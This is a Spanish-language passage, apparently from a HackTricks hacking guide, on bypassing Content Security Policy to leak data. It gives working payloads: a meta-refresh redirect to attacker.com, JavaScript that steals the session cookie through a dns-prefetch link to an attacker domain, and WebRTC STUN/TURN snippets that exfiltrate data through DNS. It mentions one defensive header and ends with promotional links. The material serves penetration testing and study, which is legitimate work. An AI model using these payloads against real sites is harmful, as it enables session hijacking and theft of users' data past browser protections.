Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, esto no filtrará contenido)
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS Prefetch
Para cargar páginas más rápido, los navegadores van a pre-resolver nombres de host en direcciones IP y almacenarlas para su uso posterior.
Puedes indicar a un navegador que pre-resuelva un nombre de host con: <link rel="dns-prefetch" href="something.com">
Podrías abusar de este comportamiento para exfiltrar información sensible a través de solicitudes DNS:
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
Otra forma:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Para evitar que esto suceda, el servidor puede enviar el encabezado HTTP:
X-DNS-Prefetch-Control: off
{% hint style="info" %} Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots) {% endhint %}
WebRTC
En varias páginas puedes leer que WebRTC no verifica la política connect-src
del CSP.
De hecho, puedes filtrar información utilizando una solicitud DNS. Mira este código:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
Otra opción:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
Verificación de Políticas CSP en Línea
Creación Automática de CSP
https://csper.io/docs/generating-content-security-policy
Referencias
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores.
Perspectivas de Hacking
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo.
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos.
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub HackTricks y HackTricks Cloud.